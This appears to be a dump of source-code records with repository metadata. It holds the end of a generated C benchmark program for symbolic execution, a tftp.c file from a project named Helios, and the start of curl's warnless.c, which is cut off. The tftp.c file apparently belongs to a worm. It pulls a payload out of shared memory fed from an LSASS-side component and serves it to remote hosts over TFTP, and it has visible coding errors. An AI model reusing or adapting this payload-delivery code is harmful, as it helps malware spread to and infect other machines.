a58 = ((((((a58 % 74) - -161) - -63) * 5) % 74) - -169);
a12 = ((((a12 + 11383) + -25044) * 10) / -9);
a180 = a55;
a120 = a171[6];
a93 = 32 ;
a111 = 13;
//printf("%d\n", 23);
}
if((((a17 == 6 && (input == inputs[7] && (((105 == a156[5]) && a120 == a171[2]) && a66 == 3))) && ((93 < a70) && (251 >= a70))) && ((((a168 == 14 && cf==1 ) && a27 == a135[7]) && (100 == a180[1])) && ((-64 < a98) && (27 >= a98))))) {
cf = 0;
a173 = 34 ;
a85 = a72[1];
a43 = (a17 - -7);
a166 = (a111 + -7);
a27 = a135[((a66 - a17) + 5)];
//printf("%d\n", 22);
}
if(((((93 < a70) && (251 >= a70)) && (a85 == a72[2] && (105 == a156[5]))) && ((a173 == 34 && (a120 == a171[2] && (a27 == a135[7] && ((input == inputs[5] && ( cf==1 && ((-64 < a98) && (27 >= a98)))) && a168 == 14)))) && a66 == 3))) {
cf = 0;
a43 = ((a168 + a66) - 4);
a85 = a72[2];
a27 = a135[(a17 - 4)];
a173 = 35 ;
a166 = ((a43 - a168) + 6);
//printf("%d\n", 24);
}
}
int calculate_outputm34(int input) {
if(((a17 == 6 && (36 == a10[4])) && (((a146 == 34 && ((((-64 < a98) && (27 >= a98)) && cf==1 ) && ((93 < a70) && (251 >= a70)))) && a111 == 12) && a173 == 34))) {
calculate_outputm88(input);
}
}
int calculate_outputm89(int input) {
if(((a120 == a171[2] && ((((123 < a58) && (272 >= a58)) && (a111 == 12 && ((36 == a10[4]) && input == inputs[1]))) && ((-62 < a12) && (-1 >= a12)))) && (((105 == a156[5]) && (( cf==1 && a27 == a135[7]) && a168 == 15)) && a166 == 7))) {
cf = 0;
a12 = ((((a12 * a70) + -14305) + -191) + -141);
a130 = a148[(a111 - 12)];
a66 = (a166 - 6);
a85 = a72[((a166 - a66) - 6)];
a58 = (((((a58 * a12) % 14999) + -12314) * 1) / 5);
a120 = a171[(a111 - 12)];
a180 = a165;
a157 = ((a168 + a17) - 12);
a93 = 33 ;
a70 = ((((((a12 * a12) % 14999) - 10902) - 17642) - -27750) - 21469);
a10 = a113;
a146 = 33 ;
a43 = a111;
a27 = a135[(a166 + -7)];
a17 = ((a111 + a111) + -20);
a173 = 33 ;
a156 = a103;
a111 = 10;
//printf("%d\n", 25);
}
if(((a111 == 12 && ((a166 == 7 && a130 == a148[2]) && a168 == 15)) && (a120 == a171[2] && (((93 < a70) && (251 >= a70)) && ((36 == a10[4]) && ((a27 == a135[7] && ( cf==1 && input == inputs[3])) && (105 == a156[5]))))))) {
cf = 0;
if(a43 == 10) {
a166 = (a66 - 2);
a27 = a135[(a66 - -1)];
a182 = a137[(a168 + -8)];
}else {
a43 = (a166 + 9);
a130 = a148[(a111 + -12)];
a58 = ((((a58 * a12) / 5) - 12577) + -5291);
a27 = a135[(a166 - 1)];
a93 = 33 ;
a169 = ((((((a12 * a70) % 74) + 363) + -13) * 9) / 10);
a180 = a165;
a17 = (a43 + -12);
a173 = 33 ;
a156 = a103;
a66 = ((a168 + a43) - 30);
a111 = ((a43 / a43) + 9);
a70 = (((((a12 * a12) / 5) + -12796) - -24301) + -39633);
a10 = a113;
a146 = 33 ;
a120 = a171[(a43 - 16)];
a85 = a72[((a43 * a17) + -64)];
a12 = ((((a12 * a169) * 1) - 6683) - 108);
}//printf("%d\n", 24);
}
}
int calculate_outputm35(int input) {
if(((a93 == 34 && (((-62 < a12) && (-1 >= a12)) && ( cf==1 && a166 == 7))) && ((((105 == a156[5]) && a146 == 34) && a66 == 3) && a85 == a72[2]))) {
calculate_outputm89(input);
}
}
int calculate_output(int input) {
cf = 1;
if((((a111 == 10 && (a173 == 33 && ( cf==1 && a27 == a135[0]))) && a130 == a148[0]) && (a70 <= -29 && (a58 <= -32 && a120 == a171[0])))) {
if((((a85 == a72[0] && a12 <= -119) && a146 == 33) && ((a66 == 1 && ((a43 == 9 && cf==1 ) && a17 == 4)) && a173 == 33))) {
calculate_outputm1(input);
}
if(((a93 == 33 && ((((23 == a10[3]) && (89 == a156[1])) && a146 == 33) && a173 == 33)) && (a12 <= -119 && ( cf==1 && a43 == 10)))) {
calculate_outputm2(input);
}
if((((a12 <= -119 && ((23 == a10[3]) && a85 == a72[0])) && a173 == 33) && ((89 == a156[1]) && ((a43 == 11 && cf==1 ) && a130 == a148[0])))) {
calculate_outputm3(input);
}
if((( cf==1 && a43 == 12) && (a111 == 10 && (a120 == a171[0] && (((a93 == 33 && (23 == a10[3])) && (89 == a156[1])) && a130 == a148[0]))))) {
calculate_outputm4(input);
}
if((((( cf==1 && a43 == 13) && a130 == a148[0]) && a146 == 33) && ((89 == a156[1]) && (a58 <= -32 && (a17 == 4 && a85 == a72[0]))))) {
calculate_outputm5(input);
}
if(((a70 <= -29 && ((92 == a180[5]) && a85 == a72[0])) && ((a12 <= -119 && (a93 == 33 && (a43 == 14 && cf==1 ))) && a66 == 1))) {
calculate_outputm6(input);
}
if(((a17 == 4 && a111 == 10) && ((92 == a180[5]) && (a66 == 1 && ((a85 == a72[0] && ( cf==1 && a43 == 15)) && (23 == a10[3])))))) {
calculate_outputm7(input);
}
}
if((((((a27 == a135[1] && cf==1 ) && a93 == 32) && a173 == 32) && ((-29 < a70) && (93 >= a70))) && (((98 == a180[5]) && (26 == a10[0])) && a17 == 5))) {
if(((a146 == 32 && a93 == 32) && ((((( cf==1 && (67 == a44[0])) && a66 == 2) && a85 == a72[1]) && a17 == 5) && (96 == a156[2])))) {
calculate_outputm8(input);
}
if(((((-29 < a70) && (93 >= a70)) && (a111 == 11 && ((76 == a44[3]) && cf==1 ))) && ((a66 == 2 && (a93 == 32 && a173 == 32)) && a85 == a72[1]))) {
calculate_outputm9(input);
}
}
if(((a17 == 6 && ((a111 == 12 && (a27 == a135[2] && cf==1 )) && a130 == a148[2])) && (((-62 < a12) && (-1 >= a12)) && (((123 < a58) && (272 >= a58)) && (105 == a156[5]))))) {
if((((a130 == a148[2] && ((-62 < a12) && (-1 >= a12))) && a111 == 12) && (a17 == 6 && (a146 == 34 && ((a166 == 1 && cf==1 ) && (105 == a156[5])))))) {
calculate_outputm10(input);
}
if(((a166 == 2 && cf==1 ) && (((93 < a70) && (251 >= a70)) && (a130 == a148[2] && (((((123 < a58) && (272 >= a58)) && a66 == 3) && (100 == a180[1])) && a111 == 12))))) {
calculate_outputm11(input);
}
if(((((( cf==1 && a166 == 4) && a85 == a72[2]) && (100 == a180[1])) && ((123 < a58) && (272 >= a58))) && ((a130 == a148[2] && a17 == 6) && (105 == a156[5])))) {
calculate_outputm12(input);
}
if(((a17 == 6 && (((36 == a10[4]) && ((a93 == 34 && ( cf==1 && a166 == 5)) && a120 == a171[2])) && ((93 < a70) && (251 >= a70)))) && a146 == 34)) {
calculate_outputm13(input);
}
if((((a111 == 12 && ((93 < a70) && (251 >= a70))) && a66 == 3) && (a130 == a148[2] && (a146 == 34 && (((123 < a58) && (272 >= a58)) && (a166 == 6 && cf==1 )))))) {
calculate_outputm14(input);
}
if((((a111 == 12 && ((a66 == 3 && ((a166 == 7 && cf==1 ) && a120 == a171[2])) && a85 == a72[2])) && (105 == a156[5])) && ((93 < a70) && (251 >= a70)))) {
calculate_outputm15(input);
}
if(((a111 == 12 && ((a130 == a148[2] && (36 == a10[4])) && a93 == 34)) && ((105 == a156[5]) && (( cf==1 && a166 == 8) && a66 == 3)))) {
calculate_outputm16(input);
}
}
if((((89 == a156[1]) && ((a12 <= -119 && ( cf==1 && a27 == a135[3])) && a111 == 10)) && (((92 == a180[5]) && a58 <= -32) && a85 == a72[0]))) {
if(((a85 == a72[0] && a58 <= -32) && ((a66 == 1 && ((a93 == 33 && ((89 == a185[3]) && cf==1 )) && a130 == a148[0])) && a173 == 33))) {
calculate_outputm17(input);
}
if(((a173 == 33 && (a58 <= -32 && a85 == a72[0])) && ((92 == a180[5]) && (a130 == a148[0] && (((96 == a185[4]) && cf==1 ) && (89 == a156[1])))))) {
calculate_outputm18(input);
}
}
if(((((123 < a58) && (272 >= a58)) && (((a27 == a135[4] && cf==1 ) && a120 == a171[2]) && (100 == a180[1]))) && ((a93 == 34 && (105 == a156[5])) && (36 == a10[4])))) {
if(((a17 == 6 && ((a66 == 3 && (a120 == a171[2] && a85 == a72[2])) && (105 == a156[5]))) && (((93 < a70) && (251 >= a70)) && ( cf==1 && a166 == 1)))) {
calculate_outputm19(input);
}
if(((a111 == 12 && (((( cf==1 && a166 == 4) && ((-62 < a12) && (-1 >= a12))) && a66 == 3) && a146 == 34)) && (a93 == 34 && a130 == a148[2]))) {
calculate_outputm20(input);
}
if(((a120 == a171[2] && ((a166 == 5 && cf==1 ) && a17 == 6)) && ((((36 == a10[4]) && a130 == a148[2]) && (100 == a180[1])) && ((123 < a58) && (272 >= a58))))) {
calculate_outputm21(input);
}
if(((a17 == 6 && (a120 == a171[2] && ((100 == a180[1]) && ((36 == a10[4]) && ((105 == a156[5]) && a111 == 12))))) && ( cf==1 && a166 == 6))) {
calculate_outputm22(input);
}
if((((105 == a156[5]) && ((((a85 == a72[2] && a66 == 3) && a130 == a148[2]) && a111 == 12) && (36 == a10[4]))) && (a166 == 8 && cf==1 ))) {
calculate_outputm23(input);
}
}
if((((a85 == a72[2] && (a146 == 34 && (a27 == a135[5] && cf==1 ))) && (100 == a180[1])) && (a17 == 6 && ((105 == a156[5]) && a93 == 34)))) {
if(((a111 == 12 && ((((10 == a150[4]) && cf==1 ) && (36 == a10[4])) && a66 == 3)) && (a17 == 6 && (a93 == 34 && ((-62 < a12) && (-1 >= a12)))))) {
calculate_outputm24(input);
}
if(((((16 == a150[4]) && cf==1 ) && ((-62 < a12) && (-1 >= a12))) && ((105 == a156[5]) && (a146 == 34 && (a111 == 12 && (((93 < a70) && (251 >= a70)) && a130 == a148[2])))))) {
calculate_outputm25(input);
}
}
if(((a120 == a171[0] && ((((23 == a10[3]) && a70 <= -29) && (89 == a156[1])) && a93 == 33)) && (( cf==1 && a27 == a135[6]) && a85 == a72[0]))) {
if(((a173 == 33 && ((92 == a180[5]) && (a120 == a171[0] && (23 == a10[3])))) && (((89 == a156[1]) && (a169 <= 170 && cf==1 )) && a111 == 10))) {
calculate_outputm26(input);
}
if(((a85 == a72[0] && (( cf==1 && ((170 < a169) && (221 >= a169))) && a130 == a148[0])) && ((92 == a180[5]) && ((a111 == 10 && (89 == a156[1])) && a58 <= -32)))) {
calculate_outputm27(input);
}
if((((((221 < a169) && (371 >= a169)) && cf==1 ) && (89 == a156[1])) && (((23 == a10[3]) && (a12 <= -119 && (a70 <= -29 && a146 == 33))) && a85 == a72[0]))) {
calculate_outputm28(input);
}
if(((a17 == 4 && ( cf==1 && 371 < a169)) && ((a85 == a72[0] && ((a12 <= -119 && a130 == a148[0]) && a58 <= -32)) && a111 == 10))) {
calculate_outputm29(input);
}
}
if((((( cf==1 && a27 == a135[7]) && a120 == a171[2]) && ((-62 < a12) && (-1 >= a12))) && ((100 == a180[1]) && ((a111 == 12 && a93 == 34) && a173 == 34)))) {
if(((a173 == 34 && (((93 < a70) && (251 >= a70)) && ((123 < a58) && (272 >= a58)))) && (((( cf==1 && a168 == 9) && a146 == 34) && a66 == 3) && ((-62 < a12) && (-1 >= a12))))) {
calculate_outputm30(input);
}
if(((a130 == a148[2] && (a85 == a72[2] && ((105 == a156[5]) && (100 == a180[1])))) && ((( cf==1 && a168 == 10) && ((-62 < a12) && (-1 >= a12))) && a111 == 12))) {
calculate_outputm31(input);
}
if(((((-62 < a12) && (-1 >= a12)) && (a111 == 12 && a146 == 34)) && (a66 == 3 && ((105 == a156[5]) && ((a168 == 12 && cf==1 ) && a85 == a72[2]))))) {
calculate_outputm32(input);
}
if((((( cf==1 && a168 == 13) && a130 == a148[2]) && (100 == a180[1])) && (a93 == 34 && ((a146 == 34 && (105 == a156[5])) && a111 == 12)))) {
calculate_outputm33(input);
}
if((((a66 == 3 && (a168 == 14 && cf==1 )) && a130 == a148[2]) && (a146 == 34 && ((36 == a10[4]) && (a111 == 12 && a93 == 34))))) {
calculate_outputm34(input);
}
if(((((a111 == 12 && (a66 == 3 && a130 == a148[2])) && a93 == 34) && (105 == a156[5])) && (( cf==1 && a168 == 15) && ((123 < a58) && (272 >= a58))))) {
calculate_outputm35(input);
}
}
if( cf==1 )
{
//printf(stderr, "Invalid input: %d\n", input);
}
}
int main()
{
kappa = 0;
// main i/o-loop
int symb;
for (int FLAG=0;FLAG<BOUND;FLAG++)
{
klee_make_symbolic(&symb, sizeof(int ), "symb");
// read input
// operate eca engine
if((symb != 5) && (symb != 6) && (symb != 1) && (symb != 7) && (symb != 2) && (symb != 8) && (symb != 3) && (symb != 9) && (symb != 10) && (symb != 4))
return -2;
calculate_output(symb);
}
return 0;
}
| [
"sanghu1790@gmail.com"
] | sanghu1790@gmail.com |
94f48effd101d6d3b39a6f10989c4cf41164c8a0 | 544db9399564385d703ee84c45483eb11efe9dbb | /CORE32/tftp.c | 11b7883dcd0e239bac1cb8ae773c74996ae167f7 | [
"MIT"
] | permissive | Dragon307/Helios | 90462a74eadd4baa1cf7d321896fdc3654a0c9a5 | 11e5333f7b0dbda893ae5e309471096df8bcf945 | refs/heads/master | 2022-02-14T07:12:49.925061 | 2018-04-14T06:06:08 | 2018-04-14T06:06:08 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 7,516 | c | #include "main.h"
#include "globals.h"
HANDLE payload_transfer_handle;
HANDLE payload_transfer_mapping_handle;
DWORD *payload_transfer_mapping;
DWORD payload_transfer_size = 0;
SOCKET local_tftp;
BOOL tftpd_intro(VOID)
{
struct sockaddr_in local_address, remote_address;
WSADATA wsadata = {0};
ERROR_CODE status;
char tx_buffer[1024], rx_buffer[1024];
int bytes;
BYTE *ptr;
DWORD *payload, *payload_ptr;
unsigned int payload_size, total_sent = 0, block_counter = 1;
unsigned int send_size = 512;
fd_set read_flags, write_flags;
struct timeval waitd;
// Create the critical section object
EnterCriticalSection(&husk_tftp_sync);
// Obtain the mutex for the payload transfer
payload_transfer_handle = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, LSASS_TO_HUSK_PAYLOAD_MUTEX);
if (payload_transfer_handle == NULL) {
LeaveCriticalSection(&husk_tftp_sync);
ExitThread(0);
}
WaitForSingleObject(payload_transfer_handle, INFINITE);
// Now obtain the handle to the remote mapping object
payload_transfer_mapping_handle = OpenFileMappingA( FILE_MAP_ALL_ACCESS,
FALSE,
LSASS_TO_HUSK_PAYLOAD_MAPPING);
if (payload_transfer_mapping_handle == NULL) {
LeaveCriticalSection(&husk_tftp_sync);
}
// Get the size of the remote mapping // FIXME - virtualquery
payload_transfer_size = read_registry_key(PAYLOAD_SIZE_HIVE, PAYLOAD_SIZE_SUBKEY, PAYLOAD_SIZE_NAME);
if (payload_transfer_size == NULL) {
LeaveCriticalSection(&husk_tftp_sync);
ExitThread(0);
}
// Get a pointer to the remote mapping
payload_transfer_mapping = (PDWORD)MapViewOfFile( payload_transfer_mapping_handle,
FILE_MAP_ALL_ACCESS,
0,
0,
payload_transfer_size);
if (payload_transfer_mapping == NULL) {
LeaveCriticalSection(&husk_tftp_sync);
ExitThread(0);
}
// Initialize networking
WSAStartup(MAKEWORD(1,1), &wsadata);
local_tftp = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (local_tftp == INVALID_SOCKET) {
//BREAK;
tftp_exit(FALSE);
}
ZeroMemory((void *)&local_address, sizeof(struct sockaddr_in));
local_address.sin_family = AF_INET;
local_address.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
local_address.sin_port = htons(DEFAULT_TFTPD_PORT);
if (bind(local_tftp, &local_address, sizeof(struct sockaddr_in)) == -1) {
//BREAK;
tftp_exit(FALSE);
}
// Wait 30 seconds for request
waitd.tv_sec = 30;
waitd.tv_usec = 0;
FD_ZERO(&read_flags);
FD_ZERO(&write_flags);
FD_SET(0, &write_flags);
FD_SET(local_tftp, &read_flags);
LeaveCriticalSection(&husk_tftp_sync);
// Wait for initial request
status = select(local_tftp, &read_flags, NULL, NULL, &waitd);
if (status == 0) {
//BREAK;
tftp_exit(FALSE);
}
// We have a possible request
ZeroMemory(rx_buffer, sizeof(rx_buffer));
ZeroMemory((void *)&remote_address, sizeof(struct sockaddr_in));
bytes = sizeof(struct sockaddr_in);
if (recvfrom(local_tftp, rx_buffer, sizeof(rx_buffer), 0, &remote_address, &bytes) == -1) {
//BREAK;
tftp_exit(FALSE);
}
/*
0x014DD984 00 01 63 61 ..ca
0x014DD988 6c 63 2e 65 lc.e
0x014DD98C 78 65 00 6f xe.o
0x014DD990 63 74 65 74 ctet
*/
ptr = (PBYTE)rx_buffer;
if (*(WORD *)ptr != (WORD)0x0100) {
//BREAK;
tftp_exit(FALSE);
}
// It is a tftp request
EnterCriticalSection(&husk_tftp_sync);
// Our request string should be 10 characters long (without null)
ptr += 2;
status = string_length((char *)ptr);
if (status != 10) {
//BREAK;
tftp_exit(FALSE);
}
// Should be octet
ptr += 11;
if (string_compare((unsigned char *)ptr, (unsigned char *)"octet", string_length("octet"))) {
//BREAK;
tftp_exit(FALSE);
}
#ifdef DEBUG_OUT
send_debug_channel("+tftpd(husk)> tftpd is beginning transmission...");
#endif
// Find our payload
//payload = get_pointer_to_payload(&payload_size);
// OK, let's start sending data
payload_ptr = payload = payload_transfer_mapping;
payload_size = payload_transfer_size;
while (TRUE) {
// Are we done?
// Assemble tx_buffer
ZeroMemory(tx_buffer, sizeof(tx_buffer));
// Opcode 0x0003
*(WORD *)((DWORD)tx_buffer + 1) = 0x0003;
*(WORD *)((DWORD)tx_buffer + 3) = block_counter;
// Copy data to transmit
CopyMemory((void *)((DWORD)tx_buffer + 4), payload_ptr, send_size);
payload_ptr = (PDWORD)((DWORD)payload_ptr + 512);
total_sent += 512;
// Transmit
if (sendto(local_tftp, tx_buffer, (send_size + 4), 0, &remote_address, sizeof(struct sockaddr_in)) == -1) {
//LeaveCriticalSection(&lock_gateway_payload);
//BREAK;
tftp_exit(FALSE);
}
// Wait for acknowledgement
// Wait 10 seconds for request
waitd.tv_sec = 10;
waitd.tv_usec = 0;
FD_ZERO(&read_flags);
FD_ZERO(&write_flags);
FD_SET(0, &write_flags);
FD_SET(local_tftp, &read_flags);
// Wait for initial request
status = select(local_tftp, &read_flags, NULL, NULL, &waitd);
if (status == 0) {
// Timeout occurred
//LeaveCriticalSection(&lock_gateway_payload);
tftp_exit(TRUE);
}
// We have a possible request
ZeroMemory(rx_buffer, sizeof(rx_buffer));
ZeroMemory((void *)&remote_address, sizeof(struct sockaddr_in));
bytes = sizeof(struct sockaddr_in);
if (recvfrom(local_tftp, rx_buffer, sizeof(rx_buffer), 0, &remote_address, &bytes) == -1) {
//LeaveCriticalSection(&lock_gateway_payload);
tftp_exit(TRUE);
}
// Check ack
// 00 04 00 nn
if (*(WORD *)rx_buffer != 0x0400) {
//LeaveCriticalSection(&lock_gateway_payload);
////BREAK;
tftp_exit(FALSE);
}
if (*(WORD *)((DWORD)rx_buffer + 3) != (WORD)block_counter) {
//LeaveCriticalSection(&lock_gateway_payload);
//BREAK;
tftp_exit(FALSE);
}
// Increment
block_counter++;
// Is this the last block?
if ((total_sent + 512) > payload_size) {
send_size = (payload_size - total_sent);
if (send_size = 0) {
// Send final trailer
// Assemble tx_buffer
ZeroMemory(tx_buffer, sizeof(tx_buffer));
// Opcode 0x0003
*(WORD *)((DWORD)tx_buffer + 1) = 0x0003;
*(WORD *)((DWORD)tx_buffer + 3) = block_counter;
// Transmit
if (sendto(local_tftp, tx_buffer, 32, 0, &remote_address, sizeof(struct sockaddr_in)) == -1) {
//BREAK;
tftp_exit(FALSE);
}
break;
}
}
}
// Close shared memory region
UnmapViewOfFile(payload_transfer_mapping);
CloseHandle(payload_transfer_mapping_handle);
// Nothing catches this return code anyway
tftp_exit(TRUE);
}
VOID tftp_exit(ERROR_CODE status)
{
// Cleanup handles and mappings
ReleaseMutex(payload_transfer_handle);
CloseHandle(payload_transfer_handle);
CloseHandle(payload_transfer_mapping_handle);
UnmapViewOfFile(payload_transfer_mapping);
closesocket(local_tftp);
WSACleanup();
// Signal registry
if (status == TRUE) {
create_registry_key(TFTPD_RC_HIVE, TFTPD_RC_SUBKEY, TFTPD_RC_NAME, 1);
#ifdef DEBUG_OUT
send_debug_channel("+tftpd(husk)> tftpd exiting with SUCCESS");
#endif
} else if (status == FALSE) {
create_registry_key(TFTPD_RC_HIVE, TFTPD_RC_SUBKEY, TFTPD_RC_NAME, 0);
#ifdef DEBUG_OUT
send_debug_channel("+tftpd(husk)> tftpd exiting with FAILURE");
#endif
}
// Release the mutex
LeaveCriticalSection(&husk_tftp_sync);
ExitThread(0);
}
| [
"noreply@github.com"
] | Dragon307.noreply@github.com |
242f5c82f11dee125c28e3abef0556a357a73698 | ca978c8ad2a77677635df5042aa9139a727172dc | /cmake-build-debug/third_party/curl/curl/src/curl/lib/warnless.c | f1923a0566b8f3018853d57d62dc41df978e4586 | [
"curl",
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | hrnbot/MAVSDK | e5541d60be3b32bf12bf0ea5afefc91a27b810a9 | 68ab0c5d50bb2e7e8f1e7ce565603f9e3f2c772f | refs/heads/master | 2023-01-05T17:58:22.994430 | 2020-10-12T10:59:14 | 2020-10-12T10:59:14 | 287,504,011 | 0 | 0 | BSD-3-Clause | 2020-10-07T10:06:05 | 2020-08-14T10:11:29 | C++ | UTF-8 | C | false | false | 11,830 | c | /***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) 1998 - 2019, Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.haxx.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
***************************************************************************/
#include "curl_setup.h"
#if defined(__INTEL_COMPILER) && defined(__unix__)
#ifdef HAVE_NETINET_IN_H
#include <netinet/in.h>
#endif
#ifdef HAVE_ARPA_INET_H
#include <arpa/inet.h>
#endif
#endif /* __INTEL_COMPILER && __unix__ */
#define BUILDING_WARNLESS_C 1
#include "warnless.h"
#define CURL_MASK_SCHAR 0x7F
#define CURL_MASK_UCHAR 0xFF
#if (SIZEOF_SHORT == 2)
#define CURL_MASK_SSHORT 0x7FFF
#define CURL_MASK_USHORT 0xFFFF
#elif (SIZEOF_SHORT == 4)
#define CURL_MASK_SSHORT 0x7FFFFFFF
#define CURL_MASK_USHORT 0xFFFFFFFF
#elif (SIZEOF_SHORT == 8)
#define CURL_MASK_SSHORT 0x7FFFFFFFFFFFFFFF
#define CURL_MASK_USHORT 0xFFFFFFFFFFFFFFFF
#else
#error "SIZEOF_SHORT not defined"
#endif
#if (SIZEOF_INT == 2)
#define CURL_MASK_SINT 0x7FFF
#define CURL_MASK_UINT 0xFFFF
#elif (SIZEOF_INT == 4)
#define CURL_MASK_SINT 0x7FFFFFFF
#define CURL_MASK_UINT 0xFFFFFFFF
#elif (SIZEOF_INT == 8)
#define CURL_MASK_SINT 0x7FFFFFFFFFFFFFFF
#define CURL_MASK_UINT 0xFFFFFFFFFFFFFFFF
#elif (SIZEOF_INT == 16)
#define CURL_MASK_SINT 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
#define CURL_MASK_UINT 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
#else
#error "SIZEOF_INT not defined"
#endif
#if (SIZEOF_LONG == 2)
#define CURL_MASK_SLONG 0x7FFFL
#define CURL_MASK_ULONG 0xFFFFUL
#elif (SIZEOF_LONG == 4)
#define CURL_MASK_SLONG 0x7FFFFFFFL
#define CURL_MASK_ULONG 0xFFFFFFFFUL
#elif (SIZEOF_LONG == 8)
#define CURL_MASK_SLONG 0x7FFFFFFFFFFFFFFFL
#define CURL_MASK_ULONG 0xFFFFFFFFFFFFFFFFUL
#elif (SIZEOF_LONG == 16)
#define CURL_MASK_SLONG 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFL
#define CURL_MASK_ULONG 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFUL
#else
#error "SIZEOF_LONG not defined"
#endif
#if (SIZEOF_CURL_OFF_T == 2)
#define CURL_MASK_SCOFFT CURL_OFF_T_C(0x7FFF)
#define CURL_MASK_UCOFFT CURL_OFF_TU_C(0xFFFF)
#elif (SIZEOF_CURL_OFF_T == 4)
#define CURL_MASK_SCOFFT CURL_OFF_T_C(0x7FFFFFFF)
#define CURL_MASK_UCOFFT CURL_OFF_TU_C(0xFFFFFFFF)
#elif (SIZEOF_CURL_OFF_T == 8)
#define CURL_MASK_SCOFFT CURL_OFF_T_C(0x7FFFFFFFFFFFFFFF)
#define CURL_MASK_UCOFFT CURL_OFF_TU_C(0xFFFFFFFFFFFFFFFF)
#elif (SIZEOF_CURL_OFF_T == 16)
#define CURL_MASK_SCOFFT CURL_OFF_T_C(0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
#define CURL_MASK_UCOFFT CURL_OFF_TU_C(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
#else
#error "SIZEOF_CURL_OFF_T not defined"
#endif
#if (SIZEOF_SIZE_T == SIZEOF_SHORT)
#define CURL_MASK_SSIZE_T CURL_MASK_SSHORT
#define CURL_MASK_USIZE_T CURL_MASK_USHORT
#elif (SIZEOF_SIZE_T == SIZEOF_INT)
#define CURL_MASK_SSIZE_T CURL_MASK_SINT
#define CURL_MASK_USIZE_T CURL_MASK_UINT
#elif (SIZEOF_SIZE_T == SIZEOF_LONG)
#define CURL_MASK_SSIZE_T CURL_MASK_SLONG
#define CURL_MASK_USIZE_T CURL_MASK_ULONG
#elif (SIZEOF_SIZE_T == SIZEOF_CURL_OFF_T)
#define CURL_MASK_SSIZE_T CURL_MASK_SCOFFT
#define CURL_MASK_USIZE_T CURL_MASK_UCOFFT
#else
#error "SIZEOF_SIZE_T not defined"
#endif
/*
** unsigned long to unsigned short
*/
unsigned short curlx_ultous(unsigned long ulnum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(ulnum <= (unsigned long)CURL_MASK_USHORT);
return (unsigned short)(ulnum & (unsigned long)CURL_MASK_USHORT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** unsigned long to unsigned char
*/
unsigned char curlx_ultouc(unsigned long ulnum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(ulnum <= (unsigned long)CURL_MASK_UCHAR);
return (unsigned char)(ulnum & (unsigned long)CURL_MASK_UCHAR);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** unsigned long to signed int
*/
int curlx_ultosi(unsigned long ulnum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(ulnum <= (unsigned long)CURL_MASK_SINT);
return (int)(ulnum & (unsigned long)CURL_MASK_SINT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** unsigned size_t to signed curl_off_t
*/
curl_off_t curlx_uztoso(size_t uznum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#elif defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4310) /* cast truncates constant value */
#endif
DEBUGASSERT(uznum <= (size_t)CURL_MASK_SCOFFT);
return (curl_off_t)(uznum & (size_t)CURL_MASK_SCOFFT);
#if defined(__INTEL_COMPILER) || defined(_MSC_VER)
#pragma warning(pop)
#endif
}
/*
** unsigned size_t to signed int
*/
int curlx_uztosi(size_t uznum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(uznum <= (size_t)CURL_MASK_SINT);
return (int)(uznum & (size_t)CURL_MASK_SINT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** unsigned size_t to unsigned long
*/
unsigned long curlx_uztoul(size_t uznum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
#if (SIZEOF_LONG < SIZEOF_SIZE_T)
DEBUGASSERT(uznum <= (size_t)CURL_MASK_ULONG);
#endif
return (unsigned long)(uznum & (size_t)CURL_MASK_ULONG);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** unsigned size_t to unsigned int
*/
unsigned int curlx_uztoui(size_t uznum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
#if (SIZEOF_INT < SIZEOF_SIZE_T)
DEBUGASSERT(uznum <= (size_t)CURL_MASK_UINT);
#endif
return (unsigned int)(uznum & (size_t)CURL_MASK_UINT);
#ifdef __INTEL_COMPILER
#pragma warning(pop)
#endif
}
/*
** signed long to signed int
*/
int curlx_sltosi(long slnum)
{
#ifdef __INTEL_COMPILER
#pragma warning(push)
#pragma warning(disable : 810) /* conversion may lose significant bits */
#endif
DEBUGASSERT(slnum >= 0);
#if (SIZEOF_INT < SIZEOF_LONG)
DEBUGASSERT((unsigned long)slnum <= (unsigned long)CURL_MASK_SINT);
#endif
